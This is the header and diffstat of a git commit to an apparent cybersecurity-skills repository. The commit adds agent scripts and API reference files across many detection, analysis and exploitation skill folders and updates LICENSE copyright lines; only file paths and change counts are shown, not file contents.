From c21af3347ed56c4de59ac179afff1483c7c0528e Mon Sep 17 00:00:00 2001 From: mukul975 Date: Wed, 11 Mar 2026 00:22:12 +0100 Subject: [PATCH] Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal - Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md --- .../LICENSE | 2 +- .../analyzing-api-gateway-access-logs/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- skills/analyzing-cyber-kill-chain/LICENSE | 2 +- .../analyzing-disk-image-with-autopsy/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../analyzing-kubernetes-audit-logs/LICENSE | 2 +- skills/analyzing-linux-elf-malware/LICENSE | 2 +- .../analyzing-linux-system-artifacts/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 68 +++++ .../scripts/agent.py | 154 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 60 ++++ .../scripts/agent.py | 153 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 159 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 87 ++++++ .../scripts/agent.py | 191 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 98 +++++++ .../scripts/agent.py | 180 ++++++++++++ .../LICENSE | 2 +- .../analyzing-pdf-malware-with-pdfid/LICENSE | 2 +- .../analyzing-phishing-email-headers/LICENSE | 2 +- .../references/api-reference.md | 90 ++++++ .../scripts/agent.py | 216 ++++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 100 +++++++ .../scripts/agent.py | 200 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 85 ++++++ .../scripts/agent.py | 168 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 89 ++++++ .../scripts/agent.py | 155 +++++++++++ .../LICENSE | 2 +- .../scripts/agent.py | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 75 +++++ .../scripts/agent.py | 99 +++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 83 ++++++ .../scripts/agent.py | Bin 0 -> 6348 bytes .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- skills/auditing-gcp-iam-permissions/LICENSE | 2 +- .../auditing-kubernetes-cluster-rbac/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 110 ++++++++ .../LICENSE | 2 +- skills/automating-ioc-enrichment/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 53 ++++ .../scripts/agent.py | 116 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 127 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 102 +++++++ .../LICENSE | 2 +- .../building-cloud-siem-with-sentinel/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 141 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 135 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 104 +++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 80 ++++++ .../scripts/agent.py | 166 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 60 ++++ .../scripts/agent.py | 172 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 104 +++++++ .../scripts/agent.py | 172 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 175 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 62 +++++ .../scripts/agent.py | 161 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 64 +++++ .../scripts/agent.py | 167 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 81 ++++++ .../scripts/agent.py | 157 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 66 +++++ .../scripts/agent.py | 160 +++++++++++ skills/building-soc-escalation-matrix/LICENSE | 2 +- .../references/api-reference.md | 65 +++++ .../scripts/agent.py | 149 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 73 +++++ .../scripts/agent.py | 158 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 88 ++++++ .../scripts/agent.py | 147 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 66 +++++ .../scripts/agent.py | 164 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 66 +++++ .../scripts/agent.py | 172 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 68 +++++ .../scripts/agent.py | 165 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 191 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 71 +++++ .../scripts/agent.py | 181 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 53 ++++ .../scripts/agent.py | 170 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 80 ++++++ .../scripts/agent.py | 174 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 79 ++++++ .../scripts/agent.py | 153 ++++++++++ .../conducting-api-security-testing/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 134 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 127 +++++++++ .../LICENSE | 2 +- .../conducting-pass-the-ticket-attack/LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 140 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 43 +++ .../scripts/agent.py | 157 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 160 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 139 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 136 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 145 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 134 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 139 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 140 ++++++++++ .../configuring-hsm-for-key-storage/LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 141 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 136 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 39 +++ .../scripts/agent.py | 143 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 38 +++ .../scripts/agent.py | 131 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 140 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 43 +++ .../scripts/agent.py | 141 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 141 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 36 +++ .../scripts/agent.py | 117 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 145 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 35 +++ .../scripts/agent.py | 127 +++++++++ skills/containing-active-breach/LICENSE | 2 +- .../containing-active-security-breach/LICENSE | 2 +- .../references/api-reference.md | 41 +++ .../scripts/agent.py | 119 ++++++++ .../LICENSE | 2 +- skills/correlating-threat-campaigns/LICENSE | 2 +- .../deobfuscating-javascript-malware/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 34 +++ .../scripts/agent.py | 133 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 111 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 41 +++ .../scripts/agent.py | 123 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 105 +++++++ .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 141 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 176 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 152 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 57 ++++ .../scripts/agent.py | 180 ++++++++++++ .../LICENSE | 2 +- .../detecting-api-enumeration-attacks/LICENSE | 2 +- .../references/api-reference.md | 58 ++++ .../scripts/agent.py | 196 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 63 +++++ .../scripts/agent.py | 211 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 196 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 54 ++++ .../scripts/agent.py | 211 ++++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 69 +++++ .../scripts/agent.py | 214 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 61 ++++ .../scripts/agent.py | 189 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-cryptomining-in-cloud/LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-dll-sideloading-attacks/LICENSE | 2 +- .../detecting-dnp3-protocol-anomalies/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-golden-ticket-attacks/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-kerberoasting-attacks/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-mobile-malware-behavior/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-pass-the-hash-attacks/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 219 ++++++++++----- skills/detecting-rootkit-activity/LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-service-account-abuse/LICENSE | 2 +- skills/detecting-shadow-api-endpoints/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../detecting-stuxnet-style-attacks/LICENSE | 2 +- .../references/api-reference.md | 97 +++++++ .../scripts/agent.py | 180 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 99 +++++++ .../scripts/agent.py | 163 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 94 +++++++ .../scripts/agent.py | 190 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 86 ++++++ .../scripts/agent.py | 158 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 91 ++++++ .../scripts/agent.py | 197 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 108 +++++++ .../scripts/agent.py | 195 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../executing-diamond-model-analysis/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 90 ++++++ .../scripts/agent.py | 151 ++++++++++ skills/executing-red-team-exercise/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 89 ++++++ .../scripts/agent.py | 122 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 113 ++++++++ .../scripts/agent.py | 139 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 103 +++++++ .../scripts/agent.py | 144 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 89 ++++++ .../scripts/agent.py | 130 +++++++++ .../exploiting-broken-link-hijacking/LICENSE | 2 +- .../references/api-reference.md | 98 +++++++ .../scripts/agent.py | 146 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 89 ++++++ .../scripts/agent.py | 114 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 106 +++++++ .../scripts/agent.py | 147 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 81 ++++++ .../scripts/agent.py | 160 +++++++++++ .../exploiting-http-request-smuggling/LICENSE | 2 +- .../exploiting-idor-vulnerabilities/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 106 +++++++ .../scripts/agent.py | 173 ++++++++++++ .../LICENSE | 2 +- .../exploiting-ipv6-vulnerabilities/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 99 +++++++ .../scripts/agent.py | 133 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 105 +++++++ .../scripts/agent.py | 142 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 100 +++++++ .../scripts/agent.py | 126 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 86 ++++++ .../scripts/agent.py | 134 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 83 ++++++ .../scripts/agent.py | 130 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 85 ++++++ .../scripts/agent.py | 137 +++++++++ .../exploiting-oauth-misconfiguration/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 102 +++++++ .../scripts/agent.py | 157 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 84 ++++++ .../scripts/agent.py | 121 ++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 87 ++++++ .../scripts/agent.py | 142 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 100 +++++++ .../scripts/agent.py | 133 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 87 ++++++ .../scripts/agent.py | 131 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 96 +++++++ .../scripts/agent.py | 175 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 84 ++++++ .../scripts/agent.py | 128 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 83 ++++++ .../scripts/agent.py | 138 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 98 +++++++ .../scripts/agent.py | 152 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 105 +++++++ .../scripts/agent.py | 156 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 108 +++++++ .../scripts/agent.py | 143 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 84 ++++++ .../scripts/agent.py | 175 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 54 ++++ .../scripts/agent.py | 170 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 59 ++++ .../scripts/agent.py | 172 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 172 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 54 ++++ .../scripts/agent.py | 157 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 51 ++++ .../scripts/agent.py | 153 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 133 +++++++++ .../hunting-for-shadow-copy-deletion/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- skills/hunting-for-webshell-activity/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- skills/implementing-aws-security-hub/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- skills/implementing-cloud-waf-rules/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 61 ++++ .../scripts/agent.py | 160 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 51 ++++ .../scripts/agent.py | 135 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 141 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 58 ++++ .../scripts/agent.py | 140 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 144 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 166 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 170 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 54 ++++ .../scripts/agent.py | 149 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 53 ++++ .../scripts/agent.py | 187 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 58 ++++ .../scripts/agent.py | 189 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 73 +++++ .../scripts/agent.py | 191 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 61 ++++ .../scripts/agent.py | 235 ++++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 68 +++++ .../scripts/agent.py | 211 ++++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 194 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 60 ++++ .../scripts/agent.py | 165 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 67 +++++ .../scripts/agent.py | 232 +++++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 214 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 201 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 57 ++++ .../scripts/agent.py | 222 +++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 213 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 75 +++++ .../scripts/agent.py | 211 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 183 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 201 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 221 +++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 186 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 64 +++++ .../scripts/agent.py | 212 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 185 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 63 +++++ .../scripts/agent.py | 159 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 59 ++++ .../scripts/agent.py | 151 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 150 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 176 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 41 +++ .../scripts/agent.py | 146 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 39 +++ .../scripts/agent.py | 147 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 51 ++++ .../scripts/agent.py | 122 ++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 107 +++++++ .../scripts/agent.py | 154 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 61 ++++ .../scripts/agent.py | 157 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 39 +++ .../scripts/agent.py | 147 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 80 ++++++ .../scripts/agent.py | 106 +++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 114 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 108 +++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 59 ++++ .../scripts/agent.py | 127 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 72 +++++ .../scripts/agent.py | 92 ++++++ .../LICENSE | 2 +- .../references/api-reference.md | 76 +++++ .../scripts/agent.py | 92 ++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 100 +++++++ .../scripts/agent.py | 91 ++++++ .../LICENSE | 2 +- .../references/api-reference.md | 75 +++++ .../scripts/agent.py | 83 ++++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 106 +++++++ .../implementing-saml-sso-with-okta/LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 197 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../SKILL.md | 19 ++ .../references/api-reference.md | 100 +++++++ .../scripts/agent.py | 160 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 29 ++ .../scripts/agent.py | 61 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../implementing-zero-trust-in-cloud/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../managing-cloud-identity-with-okta/LICENSE | 2 +- .../managing-intelligence-lifecycle/LICENSE | 2 +- .../mapping-mitre-attack-techniques/LICENSE | 2 +- skills/monitoring-darkweb-sources/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 81 ++++++ .../scripts/agent.py | 225 +++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 84 ++++++ .../scripts/agent.py | 173 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 88 ++++++ .../scripts/agent.py | 169 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 90 ++++++ .../scripts/agent.py | 171 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 106 +++++++ .../scripts/agent.py | 165 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 112 ++++++++ .../scripts/agent.py | 175 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 192 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 64 +++++ .../scripts/agent.py | 233 ++++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 57 ++++ .../scripts/agent.py | 263 ++++++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 232 +++++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 62 +++++ .../scripts/agent.py | 202 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 64 +++++ .../scripts/agent.py | 224 +++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 62 +++++ .../scripts/agent.py | 178 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- 